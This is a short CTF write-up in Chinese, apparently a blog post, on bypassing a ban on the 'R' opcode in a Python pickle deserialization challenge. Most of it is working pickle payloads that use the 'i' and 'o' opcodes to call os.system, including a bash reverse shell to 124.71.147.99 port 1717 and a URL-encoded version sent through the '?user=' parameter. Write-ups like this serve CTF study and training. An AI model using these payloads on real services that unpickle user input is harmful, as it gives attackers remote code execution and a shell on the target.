    app.run(host='0.0.0.0', port=8888)

pickle反序列化。if 'R' in user.upper():禁用了R字符。像[2021极客巅峰 opcode],参考文章:CTF题型 Python中pickle反序列化进阶利用&opcode绕过_ctf opcode-CSDN博客

这个有R被ban了

cos
system
(S'whoami'
tR.

下面两个都可以用

(S'bash -c 'sh -i >& /dev/tcp/124.71.147.99/1717 0>&1''
ios
system
.
(cos
system
S'bash -c 'sh -i >& /dev/tcp/124.71.147.99/1717 0>&1''
o.

payload:(要URL编码一下)

/?user=(S'bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.71.147.99%2F1717%200%3E%261''%0Aios%0Asystem%0A.

ez64_dynamic*

ezdows*

我猜晨曦肯定能做出来

0 条评论
某人
表情
可输入 255